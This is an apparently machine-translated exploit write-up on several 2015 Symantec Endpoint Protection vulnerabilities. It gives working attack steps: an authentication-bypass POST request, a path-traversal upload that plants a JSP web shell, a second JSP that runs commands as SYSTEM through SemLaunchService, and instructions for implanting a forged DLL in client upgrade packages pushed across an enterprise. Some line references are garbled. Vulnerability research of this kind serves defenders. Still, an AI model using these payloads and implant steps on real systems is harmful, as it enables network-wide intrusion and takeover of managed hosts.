Use Symantec Endpoint Protection to penetrate the Enterprise Network
1. Introduction
Markus Wulftange reported several high-risk vulnerabilities in Symantec Endpoint Protection (SEP) July 30 on April 9, 12.1. Only versions upgraded to 12.1 RU6 MP1 are not affected.
A brief introduction, SEP is an Enterprise Edition anti-virus product, divided into management terminal and client. The management end provides a web UI that allows administrators to manage and view the client status and virus infection events on the client. The client is basically a common Symantec antivirus software, but it accepts management and regularly reports its status. It is worth mentioning that the administrator can also deploy and install the upgrade package on the Management end so that the client can upgrade through the Management end.
The problem with this architecture is that once an attacker obtains the Administrator's permissions, he can re-deploy and install the upgrade package, hide the Trojan horse in the installation package, and push it to the client for execution, to win the entire enterprise network. This article focuses on these vulnerabilities and usage methods: attackers can obtain the 'nt Authority \ system' permission on the Management end and all clients.
2. Attack the SEP Management Terminal
The attack takes the login page of the SEP management end as a breakthrough, because the login page is an interface exposed to the outermost layer.
2.1 CVE-2015-1486: bypassing SEP Management Terminal login authentication
After the user passes authentication, setAdminCredential () stores the user information in the AdminCredential object related to the current session. After reading the source code, it is found that setAdminCredential () is called in two places, one in the LoginHandler class and the other in the ResetPasswordHandler class. The strange thing is, why is setAdminCredential () called in the ResetPasswordHandler class? It looks suspicious. This is worth studying. In terms of name, The ResetPasswordHandler class is used to process password reset. The code for handleRequest () method is as follows:
/* */ public void handleRequest(RequestData requestData, ConsoleSession session, Document doc)/* */ {/* 72 */ this.requestData = requestData;/* 73 */ String userName = (String)requestData.get("UserID");/* 74 */ String domainName = (String)requestData.get("Domain");/* *//* 76 */ NodeList list = doc.getElementsByTagName("Response");/* 77 */ Element root = (Element)list.item(0);/* */ try/* */ {/* 80 */ if (!isValidRequestWithinGivenInterval(requestData.getRemoteIP())) {/* 81 */ throw new ServerException(-2130182144, 186);/* */ }/* *//* 84 */ checkIfSiteCanRecoverPasswords();/* 85 */ init();/* *//* 87 */ if ((this.sRecipient == null) || (this.sRecipient.length() == 0) || (" ".equals(this.sRecipient))) {/* 88 */ ServerLogger.log(Level.INFO, "Problem with Mail server Configuration");/* 89 */ throw new ServerException(-2130182144, 179);/* */ }/* *//* 92 */ AdminCredential credential = getCredential(requestData, session);/* *//* 94 */ if ((credential != null) && (credential.getAdminID() != null)) {/* 95 */ Integer mode = credential.getOptAuthenticationMethod();/* 96 */ if ((mode != null) && (SemAdministrator.DEFAULT.intValue() != mode.intValue())) {/* 97 */ ServerLogger.log(Level.INFO, "Particular admin named " + credential.getAdminName() + " is not at Symantec authentication mode. Failed to reset password.");/* *//* 100 */ throw new ServerException(-2130182144, 191);/* */ }/* *//* */ }/* *//* 106-137 skipped *//* *//* */ }/* */ catch (ServerException e) {/* 142 */ root.setAttribute("ResponseCode", "" + (e.getErrorCode() | e.getMessageId()));/* */ }/* */ }
Row 92 calls the getCredential () method to retrieve the AdminCredential object. The AdminCredential object contains the user information, such as the user name, email address, and password hash value. The following is the code for getCredential ().
/* */ protected AdminCredential getCredential(RequestData requestData, ConsoleSession session) throws ServerException/* */ {/* 367 */ session = session.getNewSession();/* 368 */ AdminCredential credential = doGetAdminCredentialWithoutAuthentication();/* 369 */ session.setAdminCredential(credential);/* 370 */ return credential;/* */ }
Row 3 creates a new session, which generates a new JsessionID cookie. Interestingly, Row 3 uses doGetAdminCredentialWithoutAuthentication () to obtain an AdminCredential object based on the user name and domain name entered by the user without any authentication.
Finally, in row 369, The AdminCredential object is associated with the newly created session. This makes the session a session with the SEP administrator privilege. That is to say, by sending a password reset request, you get a session with the SEP administrator privilege.
Send a POST request for verification.
POST /servlet/ConsoleServlet HTTP/1.1Host: 192.168.40.133:8443Content-Type: application/x-www-form-urlencodedContent-Length: 45ActionType=ResetPassword&UserID=admin&Domain=
Get
HTTP/1.1 200 OKSet-Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40; Path=/; Secure; HttpOnlyX-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffContent-Type: text/xml;charset=UTF-8Date: Tue, 30 Jun 2015 11:19:30 GMTServer: SEPMContent-Length: 971
<?xml version="1.0" encoding="UTF-8" standalone="no"?><ReportingInfo AdminType="0" AllowCollectFileFingerprintList="1" AllowDeleteFromQuarantine="1" AllowDisableDownloadAdvisor="1" AllowDisableNetworkThreatProtect="1" AllowEnableAutoProtect="1" AllowEnableDownloadAdvisor="1" AllowEnableNetworkThreatProtect="1" AllowPowerEraserScan="1" AllowRestartComputers="1" AllowScan="1" AllowUpdateContent="1" AllowUpdateContentScan="1" AllowedDomains="" ChangePwd="0" ComplianceOnly="0" ComputerIPs="" ComputerNames="" DateFormat="M/d/yy" DisallowedCentralizedExceptions="0" FullAccessGroupList="" GroupWhiteList="" IsStoredProcedureValid="0" KICKOUTTIME="3600000" LastLoginTime="1435663154502" LegacyDomains="" LegacyGroups="" Role="1" Servers="" Session="625B492F4B9B6DA96B5E0C70A8A72F40"/>
This HTTP response contains a JSESSIONID cookie, which is used to associate the newly created administrator session. Note: although you have the Administrator permission, due to some restrictions, this session cannot be used to directly log on to the management end. However, the test showed that attackers could use this session to use other web APIs, such as creating a new Administrator account. Attackers can use this newly created account to log on to the Management Terminal. This session can also be used for the next vulnerability.
2.2 CVE-2015-1487: Arbitrary File write
The UploadPackage allows the Administrator to upload the Client installation package to the management end for client upgrade and maintenance. However, there is a vulnerability in writing arbitrary files. Check the source code.
/* */ public void handleRequest(RequestData requestData, ConsoleSession session, Document doc)/* */ {/* 54 */ NodeList list = doc.getElementsByTagName("Response");/* 55 */ Element root = (Element)list.item(0);/* 56 */ String action = (String)requestData.get("Action");/* 57 */ String id = (String)requestData.get("GUID");/* 58 */ String fileType = (String)requestData.get("FILE_TYPE");/* 59 */ String newId = (String)requestData.get("NEW_GUID");/* *//* 60-187 skipped *//* *//* 189 */ if (action.equalsIgnoreCase("UploadPackage")) {/* 190 */ String fileName = (String)requestData.get("PackageFile");/* 191 */ String dirName = (String)requestData.get("KnownHosts");/* */ /* 193 */ this.packageTempPath = (ScmProperties.getServerHome() + ConstantValue.TEMP_PACKAGE_RELATIVE_PATH);/* */ /* *//* 196 */ if ((dirName != null) && (dirName.length() > 0) && (!dirName.contains("/")) && (!dirName.contains("\\"))) {/* 197 */ this.packageTempPath = (this.packageTempPath + File.separator + dirName);/* */ }/* 199 */ String path = this.packageTempPath + File.separator + fileName;/* 200 */ FileOutputStream fos = null;/* 201 */ BufferedOutputStream bos = null;/* 202 */ Object is = null;/* 203 */ BufferedInputStream bis = null;/* */ /* 205 */ File folder = new File(this.packageTempPath);/* 206 */ if (!folder.exists()) {/* 207 */ if (!folder.mkdirs()) {/* 208 */ root.setAttribute("ResponseCode", String.valueOf(303169573));/* */ }/* */ }/* */ else {/* */ try/* */ {/* 214 */ Utility.emptyDir(folder.getCanonicalPath(), false);/* */ } catch (IOException e) {/* 216 */ ServerLogger.log(this, e);/* 217 */ root.setAttribute("ResponseCode", String.valueOf(303169573));/* */ /* 219 */ return;/* */ }/* */ }/* */ /* 223 */ byte[] buf = new byte[1024];/* 224 */ int read = 0;/* */ try/* */ {/* 227 */ is = new BufferedInputStream(requestData.getInputStream());/* 228 */ fos = new FileOutputStream(path);/* 229 */ bos = new BufferedOutputStream(fos);/* 230 */ bis = new BufferedInputStream((InputStream)is);/* 231 */ while ((read = bis.read(buf)) > 0) {/* 232 */ bos.write(buf, 0, read);/* */ }/* 234 */ bos.flush();/* 235 */ root.setAttribute("ResponseCode", String.valueOf(0));/* */ } catch (IOException ex) {/* 237 */ ServerLogger.log(this, ex);/* 238 */ root.setAttribute("ResponseCode", String.valueOf(303169573));/* */ }/* */ finally/* */ {/* 242 */ IOUtilities.closeInputStream((InputStream)is);/* 243 */ IOUtilities.closeInputStream(bis);/* 244 */ IOUtilities.closeOutputStream(fos);/* 245 */ IOUtilities.closeOutputStream(bos);/* */ }/* */ /* 247-328 skipped *//* */ /* */ }/* */ }
Note that lines 189 to 191 are used. When uploading a file, the file name and target path are respectively set to PackageFile and KnownHosts.
Row 3: Check. The target path cannot contain '/' and '\'. Unfortunately, after the check, in row 3, the file name and target path are assembled together. If we write the target path in the file name, we can bypass the check.
POST /servlet/ConsoleServlet?ActionType=BinaryFile&Action=UploadPackage&PackageFile=../../../tomcat/webapps/ROOT/exec.jsp&KnownHosts=. HTTP/1.1Host: 192.168.40.133:8443Cookie: JSESSIONID=625B492F4B9B6DA96B5E0C70A8A72F40Content-Length: 124 <%=new java.util.Scanner(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream()).useDelimiter("\\A")
In this way, we can get the cmd with the 'nt Service \ semsrv 'permission.
2.3 CVE-2015-1489: SEP management terminal host Elevation of Privilege
On the SEP management end, there is a service named semlaunchsvc.exe. This service has the 'nt Authority \ system' permission to process operations that require high permissions, such as real-time upgrades. This service listens to local port 8447 for communication with the management end program. The management end uses a class named semlaunchserviceto communicate with semlaunchsvc.exe. This class supports CommonCMD. You can open a cmd.
Now that we can upload and execute any java code, we can call CommonCMD in SemLaunchService to obtain the 'nt Authority \ system' permission of the Management host.
<%@page import="java.io.*,java.util.*,com.sygate.scm.server.util.*"%><%try { out.print(SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", request.getParameter("cmd")))); } catch (Exception e) { }%>
3. Attack SEP client 3.1 CVE-2015-1492: SEP client binary implant
Once the Administrator has the permission, attackers can add a modified client to upgrade the installation package, and then push the disguised installation package to the client and execute it. Of course, a DLL hijacking vulnerability is also used here. This vulnerability can hijack or replace normal DLL, and fool normal programs to load malicious DLL prepared by attackers.
The consumer will call some system DLL, such as UxTheme. dll. In this case, smcinst.exe can use a relative path to call the DLL and does not check the DLL signature. In this way, attackers only need to add a forged UxTheme. dll to the installation package! Because of LoadLibrary features, the forged UxTheme. dll under the same installation package will be preferentially transferred in. Once transferred, the forged UxTheme. dll can have the NT Authority \ SYSTEM permission.
Then how can I add the forged dll file to the installation package and push it to the client?
1. export the installation package on the SEP console. modify the version of the installation package to a later version, for example, 12.2.0000. dll file upload into the installation package 3. import the installation package on the SEP Management Terminal and modify the upgrade options. 4. Summary
Management end protection is a medium concern. Once the management end is broken, it is difficult to protect the client, resulting in the entire enterprise network.